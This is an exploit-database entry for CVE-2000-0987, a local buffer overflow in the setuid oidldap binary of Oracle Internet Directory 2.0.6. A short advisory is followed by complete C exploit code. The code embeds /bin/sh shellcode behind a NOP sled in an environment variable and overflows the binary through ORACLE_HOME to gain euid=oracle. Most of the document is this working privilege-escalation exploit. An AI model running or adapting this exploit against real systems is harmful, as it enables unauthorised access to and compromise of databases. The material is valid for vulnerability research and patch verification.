Exploit Oracle Internet Directory 2.0.6 - oidldap

[Exploiter]

EDB-ID

20312

Проверка EDB

1. Пройдено

Автор

JUAN MANUEL PASCUAL ESCRIBá

Тип уязвимости

LOCAL

Платформа

LINUX

CVE

cve-2000-0987

Дата публикации

2000-10-18

// source: https://www.securityfocus.com/bid/1828/info

Oracle Internet Directory 2.0.6 is a pre-alpha development release, available as both an addon package and in the Oracle Database Software release 8.1.6. A vulnerability has been found in the oidldap binary within the package.

A buffer overflow exists in the oidldap binary, which is setuid oracle. When executed on the command line, the oidldap binary performs an unsafe check of the ORACLE_HOME environment variable. It is possible for a malicous user to execute shell code through the ORACLE_HOME environment variable, allowing the user to inherit an euid of oracle. In a stock installation of Oracle 8.1.6, this could create a scenario which would allow a local user to compromise the integrity of a database.

/*
Exploit Code for oidldapd in Oracle 8.1.6 (8ir2) for Linux. I tested in RH 6.2
and 6.1. This code is a bullshit (i know please no comments about ;-)).

If someone exports this to Sparc please tell me.

synopsis: buffer overflow in oidldapd
impact:   any user gain euid=oracle.


Dedicated to PlazaSite guys. Klink Klink Team. Panxeta, Entrophy and others.
*/

#include <stdio.h>
#include <stdlib.h>

#define DEFAULT_OFFSET                   13
#define DEFAULT_BUFFER_SIZE             700
#define NOP                            0x90
#define ORACLE_HOME             "/usr/local/oracle/app/oracle/product/8.1.6"

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr,*name[3],environ[100],binary[120];
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;


  buff = malloc(bsize);
  addr = get_sp() - offset;
  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  for (i = 0; i < bsize/2; i++)
    buff[i] = NOP;

  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';

  memcpy(buff,"EGG=",4);
  putenv(buff);
  sprintf(environ,"ORACLE_HOME=%s",ORACLE_HOME);
  putenv(environ);
  sprintf(binary,"%s/bin/oidldapd connect=$EGG",ORACLE_HOME);
  system(binary);
}